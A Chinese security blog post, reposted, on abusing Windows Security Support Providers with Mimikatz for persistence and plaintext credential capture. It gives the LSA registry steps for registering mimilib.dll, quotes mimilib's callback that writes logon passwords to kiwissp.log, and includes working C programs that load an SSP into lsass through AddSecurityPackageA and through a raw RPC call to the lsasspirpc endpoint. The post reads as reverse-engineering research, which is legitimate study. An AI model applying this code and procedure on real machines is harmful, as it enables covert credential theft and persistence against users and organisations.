深入探究Mimikataz内网渗透之SSP
戳上面的蓝字关注我们哦!01 初识SSP和SSPI—SSP,全称Security Support Provider,又名Security PackageSSPI,全称Security Support
2020-3-8 21:45:34
Author: mp.weixin.qq.com(查看原文)
阅读量:34
收藏
戳上面的蓝字关注我们哦!SSP,全称Security Support Provider,又名Security PackageSSPI,全称Security Support Provider Interface,是Windows系统在执行认证操作所使用的APIMicrosoft提供了安全支持提供程序接口(SSPI)用于扩展Windows身份验证机制。每个称为安全支持提供程序(SSP)的模块都实现为动态链接库(DLL)。同时LSASS进程在Windows启动期间加载安全支持提供程序DLL。更多详情可以查看微软官方文书:
https://docs.microsoft.com/en-us/windows/win32/rpc/security-support-provider-interface-sspi-Local Security Authority,用于身份认证,常见进程为lsass.exe 特别的地方在于LSA是可扩展的,在系统启动的时候SSP会被加载到进程lsass.exe中. 这相当于我们可以自定义一个dll,在系统启动的时候被加载到进程lsass.exe
hklm\system\currentcontrolset\control\lsa
LSA项中的Security Packages键值中存贮着相关SSP的DLL先将Mimikatz的mimilib.dll复制到System32目录下在注册表中添加mimilib的DLL名称,并重启系统。
会在路径C:\Windows\System32\kiwissp.log记录明文利用Mimikatz中的misc::memssp加载mimilib至内存中去
加载至内存的好处就是无需重启系统,缺点在于不利于持续化当管理员通过验证时,会在System32中mimilsa.log文件中记录而除了mimikatz加载之外,还有一个动态加载SSP至内存的API
在复制mimilib.dll到System32并添加注册表情况下#define SECURITY_WIN32
#include <stdio.h>#include <Windows.h>#include <Security.h>#pragma comment(lib,"Secur32.lib")
int main(int argc, char **argv) { SECURITY_PACKAGE_OPTIONS option; option.Size = sizeof(option); option.Flags = 0; option.Type = SECPKG_OPTIONS_TYPE_LSA; option.SignatureSize = 0; option.Signature = NULL; SECURITY_STATUS SEC_ENTRYnRet = AddSecurityPackageA("mimilib", &option); printf("AddSecurityPackage return with 0x%X\n", SEC_ENTRYnRet);}
Windows AP,全称是Authentication Package(身份验证程序包)
一个DLL,其中封装了用于确定是否允许用户登录的身份验证逻辑。LSA通过将请求发送到身份验证包来对用户登录进行身份验证。然后,身份验证程序包将检查登录信息,并验证或拒绝用户登录尝试。
所以正如上面的DLL注册SSP时,实质上是将某个DLL注册为Windows AP。https://docs.microsoft.com/zh-cn/windows/win32/secauthn/authentication-functions#functions-implemented-by-sspaps其中有个SpLsaModeInitialize函数每个DLL中ppTables参数为一个SECPKG_FUNCTION_TABLE结构体typedef struct _SECPKG_FUNCTION_TABLE { PLSA_AP_INITIALIZE_PACKAGE InitializePackage; PLSA_AP_LOGON_USER LogonUser; PLSA_AP_CALL_PACKAGE CallPackage; PLSA_AP_LOGON_TERMINATED LogonTerminated; PLSA_AP_CALL_PACKAGE_UNTRUSTED CallPackageUntrusted; PLSA_AP_CALL_PACKAGE_PASSTHROUGH CallPackagePassthrough; PLSA_AP_LOGON_USER_EX LogonUserEx; PLSA_AP_LOGON_USER_EX2 LogonUserEx2; SpInitializeFn *Initialize; SpShutdownFn *Shutdown; SpGetInfoFn *GetInfo; SpAcceptCredentialsFn *AcceptCredentials; SpAcquireCredentialsHandleFn *AcquireCredentialsHandle; SpQueryCredentialsAttributesFn *QueryCredentialsAttributes; SpFreeCredentialsHandleFn *FreeCredentialsHandle; SpSaveCredentialsFn *SaveCredentials; SpGetCredentialsFn *GetCredentials; SpDeleteCredentialsFn *DeleteCredentials; SpInitLsaModeContextFn *InitLsaModeContext; SpAcceptLsaModeContextFn *AcceptLsaModeContext; SpDeleteContextFn *DeleteContext; SpApplyControlTokenFn *ApplyControlToken; SpGetUserInfoFn *GetUserInfo; SpGetExtendedInformationFn *GetExtendedInformation; SpQueryContextAttributesFn *QueryContextAttributes; SpAddCredentialsFn *AddCredentials; SpSetExtendedInformationFn *SetExtendedInformation; SpSetContextAttributesFn *SetContextAttributes; SpSetCredentialsAttributesFn *SetCredentialsAttributes; SpChangeAccountPasswordFn *ChangeAccountPassword; SpQueryMetaDataFn *QueryMetaData; SpExchangeMetaDataFn *ExchangeMetaData; SpGetCredUIContextFn *GetCredUIContext; SpUpdateCredentialsFn *UpdateCredentials; SpValidateTargetInfoFn *ValidateTargetInfo; LSA_AP_POST_LOGON_USER *PostLogonUser; SpGetRemoteCredGuardLogonBufferFn *GetRemoteCredGuardLogonBuffer; SpGetRemoteCredGuardSupplementalCredsFn *GetRemoteCredGuardSupplementalCreds; SpGetTbalSupplementalCredsFn *GetTbalSupplementalCreds;} SECPKG_FUNCTION_TABLE, *PSECPKG_FUNCTION_TABLE;
https://github.com/gentilkiwi/mimikatz/blob/master/mimilib/kssp.c设置了SpLsaModeInitialize函数,并在函数中设置了ppTables参数。其中注册了SECPKG_FUNCTION_TABLE结构体如下内容- SpInitialize:用于初始化SSP,提供一个函数指针列表。
- SpShutDown:卸载SSP时就会被调用,杀死释放资源。
- SpGetInfoFn:提供SSP相关信息,包括版本,名称以及描述。
- SpAcceptCredentials:接收LSA传递的明文凭证,由SSP缓存,mimilib在这里实现了将明文凭证保存在文件c:\windows\system32\kiwissp.log中。
这里侧重说一下SpAcceptCredentials回调函数其中有个PrimaryCredentials成员,其类型为PSECPKG_PRIMARY_CRED结构体。再反观其kssp_SpAcceptCredentials回调函数中使用klog_password(kssp_logfile, &PrimaryCredentials->Password)
NTSTATUS NTAPI kssp_SpAcceptCredentials(SECURITY_LOGON_TYPE LogonType, PUNICODE_STRING AccountName, PSECPKG_PRIMARY_CRED PrimaryCredentials, PSECPKG_SUPPLEMENTAL_CRED SupplementalCredentials){ FILE *kssp_logfile;#pragma warning(push)#pragma warning(disable:4996) if(kssp_logfile = _wfopen(L"kiwissp.log", L"a"))#pragma warning(pop) { klog(kssp_logfile, L"[%08x:%08x] [%08x] %wZ\\%wZ (%wZ)\t", PrimaryCredentials->LogonId.HighPart, PrimaryCredentials->LogonId.LowPart, LogonType, &PrimaryCredentials->DomainName, &PrimaryCredentials->DownlevelName, AccountName); klog_password(kssp_logfile, &PrimaryCredentials->Password); klog(kssp_logfile, L"\n"); fclose(kssp_logfile); } return STATUS_SUCCESS;}
之前在复现内存加载时候有用到一个API:AddSecurityPackageA先来看看该API是如何注册SSP的,定位该API的导出链接库:Secur32.dll而这里又是封装的Sspicli.dll!AddSecurityPackageA,跟入Sspicli.dll这里看了XPN的博客后知道,在这里有一个NdrClientCall3
不得不说这里Ghidra还是很直观的
程序利用NdrClientCall3通过RPC发送信号给lsass观其类型为MIDL_STUBLESS_PROXY_INFO结构体typedef struct _MIDL_STUBLESS_PROXY_INFO { PMIDL_STUB_DESC pStubDesc; PFORMAT_STRING ProcFormatString; const unsigned short *FormatStringOffset; ...} MIDL_STUBLESS_PROXY_INFO;
其中pStubDesc字段为MIDL_STUB_DESC结构体,继续跟踪。如微软官网所述,RpcInterfaceInformation指向RPC服务器接口结构。这意味着我们可以用RPC_CLIENT_INTERFACE结构来解析typedef struct _RPC_CLIENT_INTERFACE { unsigned int Length; RPC_SYNTAX_IDENTIFIER InterfaceId; RPC_SYNTAX_IDENTIFIER TransferSyntax; PRPC_DISPATCH_TABLE DispatchTable; unsigned int RpcProtseqEndpointCount; PRPC_PROTSEQ_ENDPOINT RpcProtseqEndpoint; ULONG_PTR Reserved; void const *InterpreterInfo; unsigned int Flags;} RPC_CLIENT_INTERFACE, *PRPC_CLIENT_INTERFACE;
所以在Ghidra可以选择格式化类型,格式化如下:
4F32ADC8-6052-4A04-8701-293CCF2096F0
有了UUID就好办了
查看Location信息就可以看到这个UUID是在哪个DLL中
SspiSrvInitialize函数中,调用了RpcServerUseProtseqEpRpcServerUseProtseqEp函数告诉RPC运行时库使用具有指定端点组合指定的协议序列,用于接收远程过程调用。https://docs.microsoft.com/zh-tw/windows/win32/rpc/the-client-applicationhttps://gist.github.com/masthoon/510dd757b21f04da47431e9d4e0a3f6e而之前在调用NdrClientCall3的时候给了一个nProcNum参数为3这里可以通过RpcView工具查看调用该函数所需的参数
而我在这里结合powershell的Get-RpcServer来生成C#代码$rpc = Get-RpcServer "c:\windows\system32\sspisrv.dll" | Select-RpcServer -InterfaceId "4f32adc8-6052-4a04-8701-293ccf2096f0"Format-RpcClient $rpc | Out-File test.cs
但需要注意的是powershell低版本中没有实现相关功能![]()
000007fe`fd0f205f 4c896c2428 mov qword ptr [rsp+28h],r13000007fe`fd0f2064 89442420 mov dword ptr [rsp+20h],eax
那这神秘的r13是什么呢~
根据研究员XPN师傅的博客上可知,这是SspirCallRpc函数调用的arg_2只能在这里借鉴XPN师傅的原图了
![]()
#define SECURITY_WIN32#define _CRT_SECURE_NO_WARNINGS
#include <iostream>#include <Windows.h>#include <subauth.h>#include <sspi.h>#include <Dbghelp.h>#include "sspi_h.h"
int main(int argc, char **argv) { RPC_STATUS status; UNICODE_STRING packageName; UWORD packetLen = 0; unsigned char* pszStringBinding = NULL; unsigned long ulCode; unsigned long long unk1; unsigned char rpcPacket[0x2000]; long out1 = 0, out2 = 0; void* out3 = (void*)0; struct Struct_144_t out4;
printf("\nAddSecurityPackage Raw RPC Example... by @_xpn_\n\n");
if (argc != 2) { printf("Usage: %s PACKAGE_PATH\n"); return 1; }
printf("[*] Building RPC packet\n");
// Init RPC packet memset(&packageName, 0, sizeof(packageName)); memset(rpcPacket, 0, sizeof(rpcPacket));
// Build DLL to be loaded by lsass packageName.Length = strlen(argv[1]) * 2; packageName.MaximumLength = (strlen(argv[1]) * 2) + 2; mbstowcs((wchar_t*)(rpcPacket + 0xd8), argv[1], (sizeof(rpcPacket) - 0xd8) / 2); packetLen = 0xd8 + packageName.MaximumLength;
// Complete RPC packet fields *(unsigned long long*)rpcPacket = 0xc4; // ?? *(unsigned short*)(rpcPacket + 2) = packetLen; // Length of packet *(unsigned long long*)((char*)rpcPacket + 8) = GetCurrentProcessId(); // Process ID *(unsigned long long*)((char*)rpcPacket + 16) = GetCurrentThreadId(); //Thread ID *(unsigned long long*)((char*)rpcPacket + 0x28) = 0x0b; // RPC call ID(Function ID) *(void**)((char*)rpcPacket + 0xd0) = &unk1; // ??
// Copy package name into RPC packet memcpy(rpcPacket + 0x40, &packageName, 8); *(unsigned long long*)((char*)rpcPacket + 0x48) = 0xd8; // Offset to unicode ssp name
// 建立一个String Binding句柄 status = RpcStringBindingCompose(NULL, (unsigned char*)"ncalrpc", NULL, (unsigned char*)"lsasspirpc", NULL, &pszStringBinding); if (status) { return 1; } printf("[*] Connecting to lsasspirpc RPC service\n"); //从字符串表示的绑定句柄,创建了一个default_IfHandle服务绑定句柄 status = RpcBindingFromStringBinding(pszStringBinding, &default_IfHandle); if (status) { return 1; }
memset(&out4, 0, sizeof(out4)); //这里开始便是调用服务端的函数了 RpcTryExcept { // Create our RPC context handle printf("[*] Sending SspirConnectRpc call\n"); long ret = Proc0_SspirConnectRpc((unsigned char *)NULL, 2, &out1, &out2, &out3);
// Make the "AddSecurityPackage" call directly via RPC printf("[*] Sending SspirCallRpc call\n"); ret = Proc3_SspirCallRpc(out3, packetLen, rpcPacket, &out2, (unsigned char **)&out3, &out4); } RpcExcept(1) //异常捕获 { ulCode = RpcExceptionCode(); if (ulCode == 0x6c6) { printf("[*] Error code 0x6c6 returned, which is expected if DLL load returns FALSE\n"); } else { printf("[!] Error code %x received\n", ulCode); } } RpcEndExcept
return 0;}
//MIDL分配和释放,必须实现,否则会连接错误void __RPC_FAR* __RPC_USER midl_user_allocate(size_t len){ return(malloc(len));}
void __RPC_USER midl_user_free(void __RPC_FAR* ptr){ free(ptr);}
这样便可以在不直接调用AddSecurityPackage下加载SSP包- https://github.com/gentilkiwi/mimikatz
- https://www.anquanke.com/post/id/180001
- https://docs.microsoft.com/zh-cn/windows/win32/secauthn/authentication-functions
- https://www.sans.org/blog/a-few-ghidra-tips-for-ida-users-part-4-function-call-graphs/
- https://blog.xpnsec.com/exploring-mimikatz-part-2
- https://reverseengineering.stackovernet.com/ja/q/1480
- https://www.voorp.com/a/%E6%B1%87%E7%BC%96%E5%AD%A6%E4%B9%A0%E4%B9%8B%E4%B8%80%E4%B8%AA%E6%9C%80%E7%AE%80%E5%8D%95%E7%9A%84c%E7%A8%8B%E5%BA%8F%E5%AF%B9%E5%BA%94%E7%9A%84%E6%B1%87%E7%BC%96
- https://blog.csdn.net/zcmuczx/article/details/102370315
![]()
![]()
文章来源: https://mp.weixin.qq.com/s?__biz=MzAxNDk0MDU2MA==&mid=2247483920&idx=1&sn=69fb968e95e3cff42816f12b3d252fbf&chksm=9b8ae2efacfd6bf9c90f41aea671dc627949d4923c84d7565b0ab12dd11b93499573a479674b&scene=58&subscene=0#rd
如有侵权请联系:admin#unsafe.sh